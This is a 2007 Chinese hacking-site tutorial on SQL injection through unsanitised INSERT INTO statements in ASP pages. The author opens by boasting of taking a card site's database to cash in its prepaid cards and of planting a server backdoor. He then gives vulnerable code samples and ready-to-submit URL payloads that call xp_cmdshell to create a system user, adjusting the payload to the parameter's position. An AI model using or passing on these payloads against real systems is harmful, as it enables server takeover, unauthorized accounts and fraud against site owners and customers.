·搜黑-全球首例黑客资讯搜索
·视频-国内视频学习教学大全
·设计-汇集百家设计网站精华
·编程-13大编程语言全面学习
安全中国首页 > 文章中心 > 综合注入文章
巧用数据库insert Into进行入侵注入
http://www.anqn.com     时间:2007-9-4 3:48:18      责任编辑:丛森      网友评论
热 点:

刚才到了酷吧,坐在收银台旁边和收银的MM聊了几句话;

突然看到"电影影线"有张海报,上面写着:

凡是购买该站点卡密码最后一位数是6或7便可获赠面值5元的易卡一张;

我想,这个网站整个数据在我手里,我要是把那几十万张卡全拿去换钱不是发达了?

随即马上到他服务器把库拿下来,顺便在服务器上再留个后门;

在过程中有另一个想法便是本文的重要点;利用insert Into 进行注入。
=============================================

关于SQL注入,以前常用的或很多朋友所懂的也只不过是在select 语句中ID=变量未过产生的注入点,例如http://www.gzint.com/xxx.asp?id=1 ;exec master..xp_cmdshell "net user xiaomo aa /add"--

=============================================

我们可否利用insert Into Table的语句进行注入呢?
这样的话,我们可以在某某有漏洞的网站上填写QQ或Email或地址的地方执行任何命令了哦.
记得以前粗略地和"乱刀"讨论过,不过一直没有实际行动,刚才发现了一下,原来真的可以做到这一点。呵呵。举下例:

某个页面xiaomo.asp中有如下一句代码:

Conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’1’,’1’,’1’,’1’,’"&Request("u")&"’)" 


我们可以利用Request("U")未过滤的变量执行任意系统命令.

这段很简单,Request("U")在语句后面,直接提交:

http://localhost/xiaomo.asp?u=2’);exec master..xp_cmdshell "net user xiaomo aa /add"-- 


便可添加一个xiaomo密码为aa的系统用户

因为构造的代码变成了:

Conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’1’,’1’,’1’,’1’,’2’);exec master..xp_cmdshell "net user xiaomo aa /add"-- 


当然理所当然地"正确"执行了。  

=============================================

我们换个思路,如果页面中的漏洞代码是:

Conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’"&Request("u")&"’,’1’,’1’,’1’,’1’)" 


Request("u")跑到前面去了,这该怎么办呢?

其实也很简单,变通一下即可,提交:

http://localhost/xiaomo.asp?u=3’,’1’,’1’,’1’,’1’);exec master..xp_cmdshell "net user xiaomo aa /add"---- 


看出来了没?第一个变量代表了要写入的所有变量,而后面就不而而至了,哈哈。。

但有个问题是,我们必须得知道对方语句是怎么写,利在检查指定程序漏洞时所应用

·上一篇: 推荐:SQL注射原理超浓缩简单篇
·下一篇: 从挖掘“站长之家”注入点到搞定WebShell一路狂奔

发表评论  打印本文  返回顶部  关闭窗口
最新5条评论 条评论
条评论
名称: 信箱:

相关连接
·利用新的网站注入点进行入侵 [2007-9-8]
·新or 1=1和or 1=2注入教程 [2007-9-6]
·当无法破网站密码时用手工注入 [2007-9-5]
·“窃贼Ld”变种amg注入调用的系统进程中 [2007-9-4]
·关于对SQL注入80004005及其它错误消息分析 [2007-9-4]
·从挖掘“站长之家”注入点到搞定WebShell一路狂奔 [2007-9-4]
·14步利用注入漏洞获得管理员密码 [2007-9-4]
·彻底堵死SQL注入工具漏洞(图) [2007-9-4]
·突破SQL注入攻击时输入框长度的限制 [2007-9-4]
·Access注入点执行命令工具(图) [2007-9-5]